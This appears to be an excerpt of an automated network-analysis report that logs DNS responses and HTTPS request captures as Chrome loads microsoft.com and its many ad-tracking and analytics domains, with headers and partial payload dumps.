Dec 29, 2024 13:55:42.861347914 CET	1.1.1.1	192.168.2.4	0x9685	No error (0)	cms.quantserve.com	2kpixel.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:42.861347914 CET	1.1.1.1	192.168.2.4	0x9685	No error (0)	2kpixel.quantserve.com	global.px.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:42.861392021 CET	1.1.1.1	192.168.2.4	0xf411	No error (0)	cms.quantserve.com	2kpixel.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:42.861392021 CET	1.1.1.1	192.168.2.4	0xf411	No error (0)	2kpixel.quantserve.com	global.px.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:42.861392021 CET	1.1.1.1	192.168.2.4	0xf411	No error (0)	global.px.quantserve.com		91.228.74.200	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:42.861392021 CET	1.1.1.1	192.168.2.4	0xf411	No error (0)	global.px.quantserve.com		91.228.74.166	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:42.861392021 CET	1.1.1.1	192.168.2.4	0xf411	No error (0)	global.px.quantserve.com		91.228.74.159	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:42.861392021 CET	1.1.1.1	192.168.2.4	0xf411	No error (0)	global.px.quantserve.com		91.228.74.244	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:45.367885113 CET	1.1.1.1	192.168.2.4	0x3eb2	No error (0)	analytics.twitter.com	ads.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:45.367885113 CET	1.1.1.1	192.168.2.4	0x3eb2	No error (0)	ads.twitter.com	s.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:45.367885113 CET	1.1.1.1	192.168.2.4	0x3eb2	No error (0)	s.twitter.com		104.244.42.195	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:45.369926929 CET	1.1.1.1	192.168.2.4	0x2219	No error (0)	analytics.twitter.com	ads.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:45.369926929 CET	1.1.1.1	192.168.2.4	0x2219	No error (0)	ads.twitter.com	s.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:47.396712065 CET	1.1.1.1	192.168.2.4	0xf27	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:47.396712065 CET	1.1.1.1	192.168.2.4	0xf27	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:47.396712065 CET	1.1.1.1	192.168.2.4	0xf27	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:47.396755934 CET	1.1.1.1	192.168.2.4	0xeb8f	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:47.396755934 CET	1.1.1.1	192.168.2.4	0xeb8f	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:47.397527933 CET	1.1.1.1	192.168.2.4	0xef3c	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:47.397527933 CET	1.1.1.1	192.168.2.4	0xef3c	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:48.112175941 CET	1.1.1.1	192.168.2.4	0x880d	No error (0)	servedby.flashtalking.com	servedby.flashtalking.com-v1.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:48.112417936 CET	1.1.1.1	192.168.2.4	0x4e4d	No error (0)	servedby.flashtalking.com	servedby.flashtalking.com-v1.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:48.115458965 CET	1.1.1.1	192.168.2.4	0x53e3	No error (0)	a.tribalfusion.com		172.64.150.63	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:48.115458965 CET	1.1.1.1	192.168.2.4	0x53e3	No error (0)	a.tribalfusion.com		104.18.37.193	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:48.116911888 CET	1.1.1.1	192.168.2.4	0xf72b	No error (0)	cms.analytics.yahoo.com	dcs-ups.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:48.117023945 CET	1.1.1.1	192.168.2.4	0x7dea	No error (0)	a.tribalfusion.com			65	IN (0x0001)	false
Dec 29, 2024 13:55:48.118530989 CET	1.1.1.1	192.168.2.4	0x4f92	No error (0)	jadserve.postrelease.com	jadserve.postrelease.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:48.118936062 CET	1.1.1.1	192.168.2.4	0x7a2f	No error (0)	px.owneriq.net	wildcard.owneriq.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:48.119637966 CET	1.1.1.1	192.168.2.4	0x2aa7	No error (0)	px.owneriq.net	wildcard.owneriq.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:48.120121002 CET	1.1.1.1	192.168.2.4	0x467c	No error (0)	ds.reson8.com	ds.reson8.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:48.121037960 CET	1.1.1.1	192.168.2.4	0xa7ba	No error (0)	ds.reson8.com	ds.reson8.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:48.121845007 CET	1.1.1.1	192.168.2.4	0xc984	No error (0)	jadserve.postrelease.com	jadserve.postrelease.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:48.225799084 CET	1.1.1.1	192.168.2.4	0x9d5d	No error (0)	cms.analytics.yahoo.com	dcs-ups.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:48.225799084 CET	1.1.1.1	192.168.2.4	0x9d5d	No error (0)	dcs-ups.g03.yahoodns.net		188.125.88.204	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:48.225799084 CET	1.1.1.1	192.168.2.4	0x9d5d	No error (0)	dcs-ups.g03.yahoodns.net		188.125.88.206	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:48.899796009 CET	1.1.1.1	192.168.2.4	0x68c0	No error (0)	bttrack.com		192.132.33.68	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:48.899796009 CET	1.1.1.1	192.168.2.4	0x68c0	No error (0)	bttrack.com		192.132.33.67	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:48.899796009 CET	1.1.1.1	192.168.2.4	0x68c0	No error (0)	bttrack.com		192.132.33.69	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:50.040333033 CET	1.1.1.1	192.168.2.4	0x657b	No error (0)	s.tribalfusion.com			65	IN (0x0001)	false
Dec 29, 2024 13:55:50.041467905 CET	1.1.1.1	192.168.2.4	0x132	No error (0)	s.tribalfusion.com		172.64.150.63	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:50.041467905 CET	1.1.1.1	192.168.2.4	0x132	No error (0)	s.tribalfusion.com		104.18.37.193	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:51.026309013 CET	1.1.1.1	192.168.2.4	0x4e1	No error (0)	dmpsync.3lift.com	eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:51.026309013 CET	1.1.1.1	192.168.2.4	0x4e1	No error (0)	eb2.3lift.com	eu-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:51.043205976 CET	1.1.1.1	192.168.2.4	0x553e	No error (0)	dmpsync.3lift.com	eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:51.043205976 CET	1.1.1.1	192.168.2.4	0x553e	No error (0)	eb2.3lift.com	eu-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:51.043205976 CET	1.1.1.1	192.168.2.4	0x553e	No error (0)	eu-eb2.3lift.com		76.223.111.18	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:51.043205976 CET	1.1.1.1	192.168.2.4	0x553e	No error (0)	eu-eb2.3lift.com		13.248.245.213	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:51.904726028 CET	1.1.1.1	192.168.2.4	0xf44c	No error (0)	ag.innovid.com	ag-6-split.ag.innovid.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:51.904726028 CET	1.1.1.1	192.168.2.4	0xf44c	No error (0)	aragorn-oreg-prod.inbake.com	aragorn-prod-or-acai-lb.inbake.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:51.904726028 CET	1.1.1.1	192.168.2.4	0xf44c	No error (0)	aragorn-prod-or-acai-lb.inbake.com		52.43.7.224	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:51.904726028 CET	1.1.1.1	192.168.2.4	0xf44c	No error (0)	aragorn-prod-or-acai-lb.inbake.com		52.13.92.4	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:51.904726028 CET	1.1.1.1	192.168.2.4	0xf44c	No error (0)	aragorn-prod-or-acai-lb.inbake.com		44.228.132.239	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:51.904726028 CET	1.1.1.1	192.168.2.4	0xf44c	No error (0)	aragorn-prod-or-acai-lb.inbake.com		44.238.65.52	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:51.904726028 CET	1.1.1.1	192.168.2.4	0xf44c	No error (0)	aragorn-prod-or-acai-lb.inbake.com		34.211.85.85	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:51.904726028 CET	1.1.1.1	192.168.2.4	0xf44c	No error (0)	aragorn-prod-or-acai-lb.inbake.com		52.37.151.12	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:51.904726028 CET	1.1.1.1	192.168.2.4	0xf44c	No error (0)	aragorn-prod-or-acai-lb.inbake.com		52.39.52.49	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:51.904726028 CET	1.1.1.1	192.168.2.4	0xf44c	No error (0)	aragorn-prod-or-acai-lb.inbake.com		44.231.44.118	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:51.904824018 CET	1.1.1.1	192.168.2.4	0xfce6	No error (0)	ag.innovid.com	ag-6-split.ag.innovid.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:51.904824018 CET	1.1.1.1	192.168.2.4	0xfce6	No error (0)	aragorn-oreg-prod.inbake.com	aragorn-prod-or-acai-lb.inbake.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:52.278619051 CET	1.1.1.1	192.168.2.4	0x8e22	No error (0)	ups.analytics.yahoo.com	dcs-ups.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:52.278619051 CET	1.1.1.1	192.168.2.4	0x8e22	No error (0)	dcs-ups.g03.yahoodns.net		188.125.88.204	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:52.278619051 CET	1.1.1.1	192.168.2.4	0x8e22	No error (0)	dcs-ups.g03.yahoodns.net		188.125.88.206	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:52.279473066 CET	1.1.1.1	192.168.2.4	0xa0f9	No error (0)	ups.analytics.yahoo.com	dcs-ups.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:53.305263996 CET	1.1.1.1	192.168.2.4	0x81f1	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:53.305263996 CET	1.1.1.1	192.168.2.4	0x81f1	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:53.458529949 CET	1.1.1.1	192.168.2.4	0x7535	No error (0)	scdn38c07.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:53.458529949 CET	1.1.1.1	192.168.2.4	0x7535	No error (0)	sni1gl.wpc.alphacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:53.561319113 CET	1.1.1.1	192.168.2.4	0xbe05	No error (0)	scdn38c07.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:53.623977900 CET	1.1.1.1	192.168.2.4	0x7ad6	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:53.623977900 CET	1.1.1.1	192.168.2.4	0x7ad6	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:53.827616930 CET	1.1.1.1	192.168.2.4	0x3b22	No error (0)	scdn1efff.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:53.827616930 CET	1.1.1.1	192.168.2.4	0x3b22	No error (0)	sni1gl.wpc.alphacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:53.838745117 CET	1.1.1.1	192.168.2.4	0x8af7	No error (0)	jadserve.postrelease.com	jadserve.postrelease.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:53.841758013 CET	1.1.1.1	192.168.2.4	0x44fa	No error (0)	jadserve.postrelease.com	jadserve.postrelease.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:53.898930073 CET	1.1.1.1	192.168.2.4	0x8c6c	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:53.898930073 CET	1.1.1.1	192.168.2.4	0x8c6c	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:53.911576033 CET	1.1.1.1	192.168.2.4	0xda06	No error (0)	scdn1efff.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:54.231364012 CET	1.1.1.1	192.168.2.4	0x917d	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:54.231364012 CET	1.1.1.1	192.168.2.4	0x917d	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:56.300163031 CET	1.1.1.1	192.168.2.4	0xacc8	No error (0)	rtb.adentifi.com		34.198.65.183	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:56.300163031 CET	1.1.1.1	192.168.2.4	0xacc8	No error (0)	rtb.adentifi.com		18.204.60.8	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:56.300163031 CET	1.1.1.1	192.168.2.4	0xacc8	No error (0)	rtb.adentifi.com		44.195.131.226	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:56.300163031 CET	1.1.1.1	192.168.2.4	0xacc8	No error (0)	rtb.adentifi.com		18.204.134.151	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:56.300163031 CET	1.1.1.1	192.168.2.4	0xacc8	No error (0)	rtb.adentifi.com		18.208.79.212	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:56.300163031 CET	1.1.1.1	192.168.2.4	0xacc8	No error (0)	rtb.adentifi.com		100.26.91.106	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:58.490622997 CET	1.1.1.1	192.168.2.4	0x3f8f	No error (0)	sync.crwdcntrl.net		13.228.48.14	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:58.490622997 CET	1.1.1.1	192.168.2.4	0x3f8f	No error (0)	sync.crwdcntrl.net		13.228.141.68	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:58.490622997 CET	1.1.1.1	192.168.2.4	0x3f8f	No error (0)	sync.crwdcntrl.net		3.1.88.234	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:58.490622997 CET	1.1.1.1	192.168.2.4	0x3f8f	No error (0)	sync.crwdcntrl.net		52.220.45.219	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:58.490622997 CET	1.1.1.1	192.168.2.4	0x3f8f	No error (0)	sync.crwdcntrl.net		13.250.84.149	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:58.490622997 CET	1.1.1.1	192.168.2.4	0x3f8f	No error (0)	sync.crwdcntrl.net		13.228.52.238	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:58.490622997 CET	1.1.1.1	192.168.2.4	0x3f8f	No error (0)	sync.crwdcntrl.net		52.76.92.93	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:58.490622997 CET	1.1.1.1	192.168.2.4	0x3f8f	No error (0)	sync.crwdcntrl.net		18.141.252.181	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:58.666712999 CET	1.1.1.1	192.168.2.4	0xffad	No error (0)	sync-tm.everesttech.net	sync.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:58.666712999 CET	1.1.1.1	192.168.2.4	0xffad	No error (0)	sync.tubemogul.com	syncf.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:58.666712999 CET	1.1.1.1	192.168.2.4	0xffad	No error (0)	syncf.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:58.667226076 CET	1.1.1.1	192.168.2.4	0xc9c6	No error (0)	sync-tm.everesttech.net	sync.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:58.667226076 CET	1.1.1.1	192.168.2.4	0xc9c6	No error (0)	sync.tubemogul.com	syncf.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:58.667226076 CET	1.1.1.1	192.168.2.4	0xc9c6	No error (0)	syncf.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

https:

dpm.demdex.net

mscom.demdex.net

msftenterprise.sc.omtrdc.net

idsync.rlcdn.com

ib.adnxs.com

cm.g.doubleclick.net

analytics.twitter.com

match.adsrvr.org

cms.quantserve.com

a.tribalfusion.com

cms.analytics.yahoo.com

bttrack.com

s.tribalfusion.com

dmpsync.3lift.com

ups.analytics.yahoo.com

ag.innovid.com

rtb.adentifi.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	50489	54.154.234.207	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:26 UTC	721	OUT	GET /id?d_visid_ver=4.4.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_orgid=EA76ADE95776D2EC7F000101%40AdobeOrg&d_nsid=0&ts=1735476923217 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://www.microsoft.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-29 12:55:26 UTC	823	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:26 GMT Content-Type: application/json;charset=utf-8 Content-Length: 6666 Connection: close X-TID: /shK9eJcRcU= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" Access-Control-Allow-Origin: https://www.microsoft.com Vary: Origin Access-Control-Allow-Credentials: true DCS: dcs-prod-irl1-2-v069-0b0020d8d.edge-irl1.demdex.com 3 ms set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:26 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:26 UTC	6666	IN	Data Raw: 7b 22 64 5f 6d 69 64 22 3a 22 38 31 36 39 39 34 34 30 35 30 30 38 37 31 34 33 30 33 36 33 36 38 38 34 30 33 32 37 30 39 38 34 33 38 31 30 32 38 22 2c 22 69 64 5f 73 79 6e 63 5f 74 74 6c 22 3a 36 30 34 38 30 30 2c 22 64 5f 62 6c 6f 62 22 3a 22 36 47 31 79 6e 59 63 4c 50 75 69 51 78 59 5a 72 73 7a 5f 70 6b 71 66 4c 47 39 79 4d 58 42 70 62 32 7a 58 35 64 76 4a 64 59 51 4a 7a 50 58 49 6d 64 6a 30 79 22 2c 22 64 63 73 5f 72 65 67 69 6f 6e 22 3a 36 2c 22 64 5f 6f 74 74 6c 22 3a 37 32 30 30 2c 22 69 62 73 22 3a 5b 7b 22 69 64 22 3a 22 34 31 31 22 2c 22 74 74 6c 22 3a 31 30 30 38 30 2c 22 74 61 67 22 3a 22 69 6d 67 22 2c 22 66 69 72 65 55 52 4c 53 79 6e 63 22 3a 31 2c 22 73 79 6e 63 4f 6e 50 61 67 65 22 3a 31 2c 22 75 72 6c 22 3a 5b 22 2f 2f 63 6d 2e 65 76 65 72 Data Ascii: {"d_mid":"81699440500871430363688403270984381028","id_sync_ttl":604800,"d_blob":"6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y","dcs_region":6,"d_ottl":7200,"ibs":[{"id":"411","ttl":10080,"tag":"img","fireURLSync":1,"syncOnPage":1,"url":["//cm.ever

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	50510	54.155.166.119	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:28 UTC	754	OUT	GET /dest5.html?d_nsid=0 HTTP/1.1 Host: mscom.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483
2024-12-29 12:55:29 UTC	607	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:29 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 6983 Connection: close X-TID: mr+ZoRWJRTY= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" Accept-Ranges: bytes last-modified: Mon, 11 Nov 2024 10:07:09 GMT DCS: dcs-prod-irl1-1-v069-0b92c000a.edge-irl1.demdex.com 0 ms
2024-12-29 12:55:29 UTC	6983	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 41 64 6f 62 65 20 41 75 64 69 65 6e 63 65 4d 61 6e 61 67 65 72 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Adobe AudienceManager</title><script type="text/javas

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	50511	63.140.62.17	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:28 UTC	748	OUT	GET /id?d_visid_ver=4.4.0&d_fieldgroup=A&mcorgid=EA76ADE95776D2EC7F000101%40AdobeOrg&mid=81699440500871430363688403270984381028&ts=1735476925721 HTTP/1.1 Host: msftenterprise.sc.omtrdc.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://www.microsoft.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-29 12:55:29 UTC	442	IN	HTTP/1.1 200 OK access-control-allow-origin: https://www.microsoft.com access-control-allow-credentials: true date: Sun, 29 Dec 2024 12:55:29 GMT p3p: CP="This is not a P3P policy" server: jag vary: Origin content-type: application/x-javascript;charset=utf-8 content-length: 2 cache-control: no-cache, no-store, max-age=0, no-transform, private x-xss-protection: 1; mode=block x-content-type-options: nosniff connection: close
2024-12-29 12:55:29 UTC	2	IN	Data Raw: 7b 7d Data Ascii: {}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	50519	54.154.234.207	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:29 UTC	519	OUT	GET /id?d_visid_ver=4.4.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_orgid=EA76ADE95776D2EC7F000101%40AdobeOrg&d_nsid=0&ts=1735476923217 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483
